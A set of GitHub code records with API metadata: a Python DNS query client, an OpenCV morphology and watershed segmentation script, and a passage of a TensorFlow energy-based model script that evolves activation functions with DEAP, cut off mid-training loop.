"doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv2d", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv2d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv2d", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv2d", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.relu", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 60, "usage_type": "name"}]} {"seq_id": "30617455335", "text": "#!/usr/bin/env python\n# coding = unf-8\n\nimport configparser\nimport socket\nimport time\nimport string\nimport os\nimport re\nimport struct\nimport random\n\n\n\ndef dns_codec(hostname):\n '''''\n Function:请求消息编码\n Input：hostname：主机名，如www.baidu.com\n Output: 编码后的字节流\n author: socrates\n date:2012-12-14\n '''\n\n index = os.urandom(2)\n hoststr = ''.join(chr(len(x)) + x for x in hostname.split('.'))\n print(index)\n transaction_id = random.randint(20000, 30000)\n flags = 0x0120\n RRs = (1, 0, 0, 1)\n # data = str(index) + str(flags) + RRs +hoststr+'\\x00\\x00\\x01\\x00\\x01'\n\n data = struct.pack('!6H9sB2H', transaction_id, flags, 1, 0, 0, 0, hoststr.encode(), 0, 1, 1)\n print(data)\n return data\n\n\ndef dns_decode(in_sock):\n '''''\n Function:响应消息解码\n Input：in_sock：接收消息的socket\n Output:解码后的内容\n author: socrates\n date:2012-12-14\n '''\n rfile = in_sock.makefile('rb')\n size = struct.unpack('!H', rfile.read(2))[0]\n data = rfile.read(size)\n iplist = re.findall('\\xC0.\\x00\\x01\\x00\\x01.{6}(.{4})', data)\n return ['.'.join(str(ord(x)) for x in s) for s in iplist]\n\n\ndef dns_sendmsg():\n '''''\n Function:通过socket发送DNS查询消息\n Input：None\n Output:None\n author: socrates\n date:2012-12-14\n '''\n ens_client_config = configparser.ConfigParser()\n\n # 读取配置文件\n try:\n ens_client_config.read('ens_client_config.ini')\n except configparser.Error:\n print('read ens_client_config.ini failed.')\n # 获取需要的信息\n server_ip_1 = ens_client_config.get(\"server_info\", \"ip_1\")\n server_port_1 = ens_client_config.get(\"server_info\", \"port_1\")\n sockettype_1 = ens_client_config.get(\"server_info\", \"sockettype_1\")\n heartbeat_1 = ens_client_config.get(\"server_info\", \"heartbeat_1\")\n msg_1 = ens_client_config.get(\"server_info\", \"msg_1\")\n\n # IP类型\n address_family = {True: socket.AF_INET6, False: socket.AF_INET}[':' in server_ip_1]\n # 传输类型\n socket_type = {True: socket.SOCK_STREAM, False: socket.SOCK_DGRAM}['TCP' == sockettype_1.upper()]\n\n try:\n sock = socket.socket(address_family, socket_type)\n except socket.error as e:\n print('create socket return error. errno = ', e.arge[0], 'errmsg = ', e.args[1])\n\n # 连接服务器并发送消息\n try:\n # 连接服务端\n sock.connect((server_ip_1, int(server_port_1)))\n\n while True:\n # 发送频率\n time.sleep(int(heartbeat_1))\n\n # 发送消息\n sock.sendall(dns_codec(msg_1))\n\n # 接收并打印消息\n # print(dns_decode(sock))\n break\n\n except socket.error as e:\n print('connect server failed. errno = %d, errmsg = %s' % (e.args[0], e.args[1]))\n\n sock.close()\n\n\nif __name__ == '__main__':\n dns_sendmsg()\n", "repo_name": "LitZheng/Python-DNS", "sub_path": "DNS/DNS_client.py", "file_name": "DNS_client.py", "file_ext": "py", "file_size_in_byte": 2925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.urandom", "line_number": 24, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 27, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 32, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 46, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 48, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 60, "usage_type": "call"}, {"api_name": "configparser.Error", "line_number": 65, "usage_type": "attribute"}, {"api_name": "socket.AF_INET6", "line_number": 75, "usage_type": "attribute"}, {"api_name": "socket.AF_INET", "line_number": 75, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 77, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 77, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 80, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 81, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 91, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 100, "usage_type": "attribute"}]} {"seq_id": "34177829045", "text": "import cv2\nimport numpy as np\n\n\n# takes image and structural element\n# return result image after dilatation\ndef dilatate(image, h):\n # ensure only symmetrical structural element\n if len(h) % 2 == 0:\n return\n\n # h radius\n dist = int((len(h) - 1) / 2)\n\n rows, cols = image.shape\n result = np.zeros((rows, cols), np.uint8)\n\n # iterate through image\n for row in range(dist, rows - dist):\n for col in range(dist, cols - dist):\n # superimpose kernel onto image for each pixel with the value 255\n # with said pixel at its center\n if image[row, col] == 255:\n for x in range(-dist, dist + 1):\n for y in range(-dist, dist + 1):\n # set each surrounding pixel to the corresponding kernel value\n result[row + x, col + y] = h[x + dist, y + dist]\n return result\n\n\n# takes image and structural element\n# return result image after erosion\ndef erode(image, h):\n # ensure only symmetrical structural element\n if len(h) % 2 == 0:\n return\n\n # h radius\n dist = int((len(h) - 1) / 2)\n\n rows, cols = image.shape\n result = np.zeros((rows, cols), np.uint8)\n\n # iterate through image\n for row in range(0, rows):\n for col in range(0, cols):\n # handle edge cases\n # make sure kernal doesnt leave image\n if row - dist + 1 < 0 or row + dist + 1 > rows or col - dist + 1 < 0 or col + dist + 1 > cols:\n result[row, col] = 0\n continue\n # superimpose kernel on image\n # check if the kernel is contained in image\n # with the current pixel at its center\n contained = True\n for x in range(-dist, dist + 1):\n for y in range(-dist, dist + 1):\n if image[row + x, col + y] != h[x + dist, y + dist]:\n contained = False\n if contained:\n # retain pixel if kernel is contained in image\n result[row, col] = 255\n else:\n # erode pixel if kernel is not contained in image\n result[row, col] = 0\n return result\n\n\ndef watershed(img):\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # apply otsu's binarization to approximate the objects\n ret, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n\n # find sure background area\n kernel = np.ones((3, 3), np.uint8)\n sure_bg = cv2.dilate(thresh, kernel, iterations=3)\n\n # find sure foreground area\n ret, sure_fg = cv2.threshold(thresh, 0, 255, 0)\n\n # find unknown region\n unknown = cv2.subtract(sure_bg, sure_fg)\n\n # label markers\n ret, markers = cv2.connectedComponents(sure_fg)\n\n # add one to all labels so that sure background is not 0, but 1\n markers = markers + 1\n\n # mark the region of unknown with zero\n markers[unknown == 255] = 0\n\n # apply watershed\n markers = cv2.watershed(img, markers)\n\n # make background black\n img[markers == 1] = [0, 0, 0]\n\n # make boundary region blue\n img[markers == -1] = [255, 0, 0]\n\n # color all objects\n steps = 230 / markers.max()\n for i in range(2, markers.max() + 1):\n img[markers == i] = [0, 25 + i * steps, 25 + i * steps]\n return img\n\n\nzahn = cv2.imread(\"assets/p06_zahnrad.png\", cv2.IMREAD_GRAYSCALE)\ngummi = cv2.imread(\"assets/p06_gummitiere.png\")\n\n# 1.\n# structural element\nH = np.full((7, 7), 255, np.uint8)\n\n# closing\nd = dilatate(zahn, H)\ne = erode(d, H)\n\n# 2.\nw = watershed(gummi)\n\nEXPORT_IMAGES = True\nSHOW_IMAGES = True\n\nif EXPORT_IMAGES:\n cv2.imwrite(\"assets/export/closing.png\", e)\n cv2.imwrite(\"assets/export/watershed.png\", w)\nif SHOW_IMAGES:\n cv2.imshow(\"closing\", e)\n cv2.imshow(\"water\", w)\n cv2.waitKey()\n cv2.destroyAllWindows()\n", "repo_name": "finnbechinka/bvm", "sub_path": "p6/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 73, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.subtract", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.connectedComponents", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.watershed", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 110, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 115, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 131, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 133, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 134, "usage_type": "call"}]} {"seq_id": "1901210726", "text": "# import tensorflow as tf\nfrom tensorflow.keras.activations import elu,exponential,gelu,linear,relu,selu,sigmoid,softmax,softplus,swish,tanh\nfrom tensorflow.math import add,atan,cos,erf,maximum,minimum,sin,sqrt,subtract\nfrom deap.gp import PrimitiveSet,PrimitiveTree,genGrow,genFull,compile,cxOnePoint,mutShrink,staticLimit\nfrom deap.algorithms import eaSimple\nfrom deap import creator,base,tools \nfrom copy import deepcopy\nfrom collections import Counter\nimport numpy as np\nfrom datetime import date\n# import tensorflow as tf \nimport operator \nnp.set_printoptions(precision=2)\n\nimport tensorflow.compat.v1 as tf\ntf.disable_v2_behavior()\n\nfrom tensorflow.python.platform import flags\n\nfrom data import Cifar10\nfrom models import DspritesNet, ResNet32, ResNet32Large, ResNet32Larger, ResNet32Wider, MnistNet, ResNet128\nimport os.path as osp\nimport os\nfrom baselines.logger import TensorBoardOutputFormat\nfrom utils import average_gradients, ReplayBuffer, optimistic_restore\nfrom tqdm import tqdm\nimport random\nfrom torch.utils.data import DataLoader\nimport time as time\nfrom io import StringIO\nfrom tensorflow.core.util import event_pb2\nimport torch\nfrom custom_adam import AdamOptimizer\nfrom scipy.misc import imsave\nimport matplotlib.pyplot as plt\nfrom hmc import hmc\nimport math\nfrom mpi4py import MPI\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\n\nos.environ['TF_FORCE_GPU_ALLOW_GROWTH'] = 'true'\n\nfrom pathos.multiprocessing import ProcessPool\nimport horovod.tensorflow as hvd\nhvd.init()\n\nfrom inception import get_inception_score\n\ntorch.manual_seed(hvd.rank())\nnp.random.seed(hvd.rank())\ntf.set_random_seed(hvd.rank())\n\nFLAGS = flags.FLAGS\n\n\n# Dataset Options\nflags.DEFINE_string('datasource', 'random',\n 'initialization for chains, either random or default (decorruption)')\nflags.DEFINE_string('dataset','mnist',\n 'dsprites, cifar10, imagenet (32x32) or imagenetfull (128x128)')\nflags.DEFINE_integer('batch_size', 256, 'Size of inputs')\nflags.DEFINE_bool('single', False, 'whether to debug by training on a single image')\nflags.DEFINE_integer('data_workers', 4,\n 'Number of different data workers to load data in parallel')\n\n# General Experiment Settings\nflags.DEFINE_string('logdir', 'cachedir',\n 'location where log of experiments will be stored')\nflags.DEFINE_string('exp', 'default', 'name of experiments')\nflags.DEFINE_integer('log_interval', 10, 'log outputs every so many batches')\nflags.DEFINE_integer('save_interval', 1000,'save outputs every so many batches')\nflags.DEFINE_integer('test_interval', 1000,'evaluate outputs every so many batches')\nflags.DEFINE_integer('resume_iter', -1, 'iteration to resume training from')\nflags.DEFINE_bool('train', True, 'whether to train or test')\nflags.DEFINE_integer('epoch_num', 2, 'Number of Epochs to train on')\nflags.DEFINE_float('lr', 3e-4, 'Learning for training')\nflags.DEFINE_integer('num_gpus', 1, 'number of gpus to train on')\n\n# EBM Specific Experiments Settings\nflags.DEFINE_float('ml_coeff', 1.0, 'Maximum Likelihood Coefficients')\nflags.DEFINE_float('l2_coeff', 1.0, 'L2 Penalty training')\nflags.DEFINE_bool('cclass', False, 'Whether to conditional training in models')\nflags.DEFINE_bool('model_cclass', False,'use unsupervised clustering to infer fake labels')\nflags.DEFINE_integer('temperature', 1, 'Temperature for energy function')\nflags.DEFINE_string('objective', 'cd', 'use either contrastive divergence objective(least stable),'\n 'logsumexp(more stable)'\n 'softplus(most stable)')\nflags.DEFINE_bool('zero_kl', False, 'whether to zero out the kl loss')\n\n# Setting for MCMC sampling\nflags.DEFINE_float('proj_norm', 0.0, 'Maximum change of input images')\nflags.DEFINE_string('proj_norm_type', 'li', 'Either li or l2 ball projection')\nflags.DEFINE_integer('num_steps', 20, 'Steps of gradient descent for training')\nflags.DEFINE_float('step_lr', 1.0, 'Size of steps for gradient descent')\nflags.DEFINE_bool('replay_batch', False, 'Use MCMC chains initialized from a replay buffer.')\nflags.DEFINE_bool('hmc', False, 'Whether to use HMC sampling to train models')\nflags.DEFINE_float('noise_scale', 1.,'Relative amount of noise for MCMC')\nflags.DEFINE_bool('pcd', False, 'whether to use pcd training instead')\n\n# Architecture Settings\nflags.DEFINE_integer('num_filters', 64, 'number of filters for conv nets')\nflags.DEFINE_bool('spec_norm', True, 'Whether to use spectral normalization on weights')\nflags.DEFINE_bool('use_attention', False, 'Whether to use self attention in network')\nflags.DEFINE_bool('large_model', False, 'whether to use a large model')\nflags.DEFINE_bool('larger_model', False, 'Deeper ResNet32 Network')\nflags.DEFINE_bool('wider_model', False, 'Wider ResNet32 Network')\nflags.DEFINE_bool('resnet_model', False, 'Vanilla Renset Network')\n\n# Dataset settings\nflags.DEFINE_bool('mixup', False, 'whether to add mixup to training images')\nflags.DEFINE_bool('augment', False, 'whether to augmentations to images')\nflags.DEFINE_float('rescale', 1.0, 'Factor to rescale inputs from 0-1 box')\n\n# Dsprites specific experiments\nflags.DEFINE_bool('cond_shape', False, 'condition of shape type')\nflags.DEFINE_bool('cond_size', False, 'condition of shape size')\nflags.DEFINE_bool('cond_pos', False, 'condition of position loc')\nflags.DEFINE_bool('cond_rot', False, 'condition of rot')\n\nFLAGS.step_lr = FLAGS.step_lr * FLAGS.rescale\n\nFLAGS.batch_size *= FLAGS.num_gpus\n\nprint(\"{} batch size\".format(FLAGS.batch_size))\n\n\nclass EvolutionaryAlgorithm:\n def __init__(self, base_act_functions, base_operations, min_depth, max_depth, pop_size, n_parallel_nodes):\n\n # We first initialize the pset that contains our base \n # building blocks.\n\n self.base_act_functions = base_act_functions\n self.base_operations = base_operations\n self.pset = self.initialize_pset(base_act_functions, base_operations)\n self.pop_size = pop_size\n self.min_depth = min_depth\n self.max_depth = max_depth\n\n # We specify that we are dealing with a maximization problem, and \n # we specify that our Individual is a string representation of \n # the activation function tree. We chose \n # a string representation and not the primitive tree itself because \n # the primitive tree contains tensorflow operations, which can't be pickled\n # and thus can't be easily paralellized. The string representation can \n # be paralellized, and we can easily obtain the primitive tree from it \n # using DEAP's PrimitveTree.from_string function. \n creator.create(\"FitnessMax\", base.Fitness, weights=(1.0,))\n creator.create(\"Individual\", str, fitness=creator.FitnessMax)\n\n self.toolbox = base.Toolbox()\n\n # The \"individual\" function simply calls generate_tree_string_representation\n # to get a string representation of a random tree, and then places it \n # in a \"creator.Individual\" container that has a fitness attribute.\n self.toolbox.register(\"individual\", tools.initIterate, creator.Individual,\n self.generate_tree_string_representation)\n\n # We define variational operators on the PrimitiveTree representations,\n # and we define static limits on those variational operators. The actual\n # operations used by the evolutionary algorithm will operate on the \n # string representations. They will convert those string representations \n # to PrimitiveTree objects, apply the operators on them, and return strings.\n\n self.toolbox.register(\"primitive_tree_crossover\", cxOnePoint)\n self.toolbox.register(\"primitive_tree_mutation\", mutShrink)\n\n # We decorate the variation operators with a limit on the maximum depth.\n\n self.toolbox.decorate(\"primitive_tree_crossover\", staticLimit(key=operator.attrgetter(\"height\"), max_value=5))\n self.toolbox.decorate(\"primitive_tree_mutation\", staticLimit(key=operator.attrgetter(\"height\"), max_value=5))\n\n # We register the evaluation function, the selection method,\n # and variational operators on the strings. \n self.toolbox.register(\"evaluate\", self.get_ebm_fitness, ebm_prob=EBMProbML)\n self.toolbox.register(\"select\", tools.selRoulette)\n self.toolbox.register(\"mate\", self.crossover_strings)\n self.toolbox.register(\"mutate\", self.mutate_string)\n\n # We collect statistics on the fitness values.\n self.stats = tools.Statistics(lambda ind: ind.fitness.values)\n self.stats.register(\"avg\", lambda x: np.around(np.mean(x), 2))\n self.stats.register(\"std\", lambda x: np.around(np.std(x), 2))\n self.stats.register(\"min\", lambda x: np.around(np.min(x), 2))\n self.stats.register(\"max\", lambda x: np.around(np.max(x), 2))\n\n # We also add a Hall of fame object, and we keep the 10 best individuals in it.\n\n self.hof = tools.HallOfFame(10)\n\n # Set DEAP to evolve functions in parallel\n # self.pool = ProcessPool(nodes=n_parallel_nodes)\n # self.toolbox.register(\"map\", self.pool.map)\n\n print(\"Loading data...\")\n path = \"/home/abhi/Documents/courses/UofT/CSC2506/project/data/cifar10\"\n train_dataset = Cifar10(train=True, augment=FLAGS.augment, rescale=FLAGS.rescale, path=path)\n indices = random.sample(range(1,50000), 5000);\n train_indices = indices[0:3500]; #training data\n valid_indices = indices[3500:]; # validation data\n \n train_data = torch.utils.data.Subset(train_dataset, train_indices)\n valid_data = torch.utils.data.Subset(train_dataset, valid_indices)\n print(\"Length of training data:%d\"%len(train_data))\n print(\"Length of validation data:%d\"%len(valid_data))\n self.train_data = DataLoader(train_data, batch_size=FLAGS.batch_size, num_workers=FLAGS.data_workers, drop_last=True, shuffle=True)\n self.valid_data = DataLoader(valid_data, batch_size=FLAGS.batch_size, num_workers=FLAGS.data_workers, drop_last=True, shuffle=True)\n print(\"Done loading...\")\n\n def initialize_pset(self, base_act_functions, base_operations):\n\n # Our desired functions are unary and we specify this when creating the pset\n pset = PrimitiveSet(\"main\", 1)\n\n # Activation functions in a neural network have \n # arity 1.\n for func in base_act_functions:\n pset.addPrimitive(func, 1)\n\n # The operations that we are considering, such as \n # maximum, add or subtract, have arity 2.\n for op in base_operations:\n pset.addPrimitive(op, 2)\n\n pset.renameArguments(ARG0=\"x\")\n\n return pset\n\n def generate_tree_string_representation(self):\n act_tree = PrimitiveTree(genGrow(self.pset, min_=self.min_depth, max_=self.max_depth))\n str_representation = str(act_tree)\n return str_representation\n\n def crossover_strings(self, parent_1, parent_2):\n # parent_1 and parent_2 are string representations, so \n # we convert them to primitive trees and apply\n # a crossover operation on them.\n\n act1 = PrimitiveTree.from_string(parent_1, pset=self.pset)\n act2 = PrimitiveTree.from_string(parent_2, pset=self.pset)\n child_1, child_2 = self.toolbox.primitive_tree_crossover(act1, act2)\n\n # We return the string representations of the children\n\n string_child_1 = creator.Individual(child_1)\n string_child_2 = creator.Individual(child_2)\n return string_child_1, string_child_2\n\n def mutate_string(self, parent):\n\n act = PrimitiveTree.from_string(parent, self.pset)\n child = self.toolbox.primitive_tree_mutation(act)[0]\n string_child = creator.Individual(child)\n # DEAP expects the mutation to return a tuple \n # of one tree\n return (string_child,)\n\n # This will be replaced with a proper EBM training function later on. Make sure to take care of nan case \n def get_ebm_fitness(self,individual,ebm_prob):\n tf.keras.backend.clear_session()\n print(\"-------------------------------Activation function:%s-----------------------------------\"%str(individual))\n # Choose some very bad value in case of an error, not infinity to prevent DEAP from encountering an error\n primitive_tree=PrimitiveTree.from_string(individual,self.pset)\n act_fun=compile(primitive_tree,self.pset)\n ebm_prob = EBMProbML(act_fun)\n # FLAGS.cclass = True\n train_inc_score = ebm_prob.train_unconditional(self.train_data)\n print(\"Training Inception score:.%3f\"%train_inc_score)\n if train_inc_score > 0:\n test_inc_score = ebm_prob.test_unconditional(self.valid_data)\n print(\"Testing inception score:.%3f\"%test_inc_score)\n log_file = open(\"ebm_log.txt\", \"a\")\n date_time = date.today().strftime(\"%d/%m/%Y\")\n line = \"%s %s Inception score: Train:%.5f Test:%.5f,\"%(date_time, str(individual), train_inc_score, test_inc_score)\n log_file.write(line + \"\\n\")\n log_file.close()\n return (test_inc_score,)\n else:\n print(\"Training diverged!\")\n return(-1.,)\n\n def adjust_activation_tree(self, activation_tree_str):\n copied_str = deepcopy(activation_tree_str)\n copied_activation_tree = PrimitiveTree.from_string(copied_str, self.pset)\n bias_pset = PrimitiveSet(name='bias_set', arity=1)\n for func in self.base_act_functions:\n bias_pset.addTerminal(terminal=func, name='terminal_' + func.__name__)\n for func in self.base_act_functions:\n bias_pset.addPrimitive(primitive=func, arity=1, name=func.__name__)\n primitives_dictionary = {}\n for bias_primitive in bias_pset.primitives[object]:\n for primitive in self.pset.primitives[object]:\n if bias_primitive.name == primitive.name:\n primitives_dictionary[bias_primitive.name] = primitive\n tree_elements = np.vectorize(lambda x: x.name)\n num_terminals = Counter(tree_elements(copied_activation_tree))['ARG0']\n starting_index = 0\n two_literals = False\n for i in range(num_terminals):\n done = False\n while not done:\n bias_activation = PrimitiveTree(genFull(pset=bias_pset, min_=1, max_=1))\n if 'ARG0' not in tree_elements(bias_activation):\n done = True\n for i in range(starting_index, len(copied_activation_tree)):\n if i < len(copied_activation_tree) - 1:\n condition = copied_activation_tree[i].name == 'ARG0' and (\n copied_activation_tree[i + 1].name == 'ARG0' or two_literals)\n else:\n condition = copied_activation_tree[i].name == 'ARG0' and two_literals\n if condition:\n if i < len(copied_activation_tree) - 1:\n two_literals = copied_activation_tree[i + 1].name == 'ARG0'\n replace_by_activation = np.random.choice([True, False], p=[0.8, 0.2])\n if replace_by_activation:\n starting_index = i + 2\n activation_primitive = primitives_dictionary[bias_activation[0].name]\n copied_activation_tree.insert(i, activation_primitive)\n else:\n starting_index = i + 1\n break\n # return the string representation of the new tree\n return creator.Individual(copied_activation_tree)\n\n def create_generation(self):\n generation = [self.toolbox.individual() for i in range(self.pop_size)]\n generation = [self.adjust_activation_tree(x) for x in generation]\n return generation\n\n def evolve_functions(self, num_generations):\n pop = self.create_generation()\n pop, log = eaSimple(pop, self.toolbox, ngen=num_generations, cxpb=0.8, mutpb=0.02, stats=self.stats,\n halloffame=self.hof, verbose=True)\n return pop\n\n def get_hof_inds(self):\n return ['Function:{}\\tFitness:{}'.format(str(mvp), mvp.fitness.values[0]) for mvp in self.hof]\n\ndef compress_x_mod(x_mod):\n x_mod = (255 * np.clip(x_mod, 0, FLAGS.rescale) / FLAGS.rescale).astype(np.uint8)\n return x_mod\n\n\ndef decompress_x_mod(x_mod):\n x_mod = x_mod / 256 * FLAGS.rescale + \\\n np.random.uniform(0, 1 / 256 * FLAGS.rescale, x_mod.shape)\n return x_mod\n\n\ndef make_image(tensor, tag):\n \"\"\"Convert an numpy representation image to Image protobuf\"\"\"\n from PIL import Image\n if len(tensor.shape) == 4:\n _, height, width, channel = tensor.shape\n elif len(tensor.shape) == 3:\n height, width, channel = tensor.shape\n elif len(tensor.shape) == 2:\n height, width = tensor.shape\n channel = 1\n tensor = tensor.astype(np.uint8)\n image = Image.fromarray(tensor)\n image.save(tag + \".png\")\n import io\n output = io.BytesIO()\n image.save(output, format='PNG')\n image_string = output.getvalue()\n output.close()\n return tf.Summary.Image(height=height,\n width=width,\n colorspace=channel,\n encoded_image_string=image_string)\n\n\ndef log_image(im, logger, tag, step=0):\n im = make_image(im, tag)\n\n summary = [tf.Summary.Value(tag=tag, image=im)]\n summary = tf.Summary(value=summary)\n event = event_pb2.Event(summary=summary)\n event.step = step\n logger.writer.WriteEvent(event)\n logger.writer.Flush()\n\n\ndef rescale_im(image):\n image = np.clip(image, 0, FLAGS.rescale)\n if FLAGS.dataset == 'mnist' or FLAGS.dataset == 'dsprites':\n return (np.clip((FLAGS.rescale - image) * 256 / FLAGS.rescale, 0, 255)).astype(np.uint8)\n else:\n return (np.clip(image * 256 / FLAGS.rescale, 0, 255)).astype(np.uint8)\n\n\ndef train(target_vars, saver, sess, logger, dataloader, resume_iter, logdir):\n X = target_vars['X']\n Y = target_vars['Y']\n X_NOISE = target_vars['X_NOISE']\n train_op = target_vars['train_op']\n energy_pos = target_vars['energy_pos']\n energy_neg = target_vars['energy_neg']\n loss_energy = target_vars['loss_energy']\n loss_ml = target_vars['loss_ml']\n loss_total = target_vars['total_loss']\n gvs = target_vars['gvs']\n x_grad = target_vars['x_grad']\n x_grad_first = target_vars['x_grad_first']\n x_off = target_vars['x_off']\n temp = target_vars['temp']\n x_mod = target_vars['x_mod']\n LABEL = target_vars['LABEL']\n LABEL_POS = target_vars['LABEL_POS']\n weights = target_vars['weights']\n test_x_mod = target_vars['test_x_mod']\n eps = target_vars['eps_begin']\n label_ent = target_vars['label_ent']\n\n if FLAGS.use_attention:\n gamma = weights[0]['atten']['gamma']\n else:\n gamma = tf.zeros(1)\n\n val_output = [test_x_mod]\n\n gvs_dict = dict(gvs)\n\n log_output = [\n train_op,\n energy_pos,\n energy_neg,\n eps,\n loss_energy,\n loss_ml,\n loss_total,\n x_grad,\n x_off,\n x_mod,\n gamma,\n x_grad_first,\n label_ent,\n *gvs_dict.keys()]\n output = [train_op, x_mod]\n\n replay_buffer = ReplayBuffer(10000)\n itr = resume_iter\n x_mod = None\n gd_steps = 1\n\n dataloader_iterator = iter(dataloader)\n best_inception = 0.0\n\n for epoch in range(FLAGS.epoch_num):\n print(\"Training epoch:%d\"%epoch)\n for data_corrupt, data, label in dataloader:\n data_corrupt = data_corrupt_init = data_corrupt.numpy()\n data_corrupt_init = data_corrupt.copy()\n\n data = data.numpy()\n label = label.numpy()\n\n label_init = label.copy()\n\n if FLAGS.mixup:\n idx = np.random.permutation(data.shape[0])\n lam = np.random.beta(1, 1, size=(data.shape[0], 1, 1, 1))\n data = data * lam + data[idx] * (1 - lam)\n\n if FLAGS.replay_batch and (x_mod is not None):\n replay_buffer.add(compress_x_mod(x_mod))\n\n if len(replay_buffer) > FLAGS.batch_size:\n replay_batch = replay_buffer.sample(FLAGS.batch_size)\n replay_batch = decompress_x_mod(replay_batch)\n replay_mask = (\n np.random.uniform(\n 0,\n FLAGS.rescale,\n FLAGS.batch_size) > 0.05)\n data_corrupt[replay_mask] = replay_batch[replay_mask]\n\n if FLAGS.pcd:\n if x_mod is not None:\n data_corrupt = x_mod\n\n feed_dict = {X_NOISE: data_corrupt, X: data, Y: label}\n\n if FLAGS.cclass:\n feed_dict[LABEL] = label\n feed_dict[LABEL_POS] = label_init\n\n if itr % FLAGS.log_interval == 0:\n _, e_pos, e_neg, eps, loss_e, loss_ml, loss_total, x_grad, x_off, x_mod, gamma, x_grad_first, label_ent, * \\\n grads = sess.run(log_output, feed_dict)\n\n kvs = {}\n kvs['e_pos'] = e_pos.mean()\n kvs['e_pos_std'] = e_pos.std()\n kvs['e_neg'] = e_neg.mean()\n kvs['e_diff'] = kvs['e_pos'] - kvs['e_neg']\n kvs['e_neg_std'] = e_neg.std()\n kvs['temp'] = 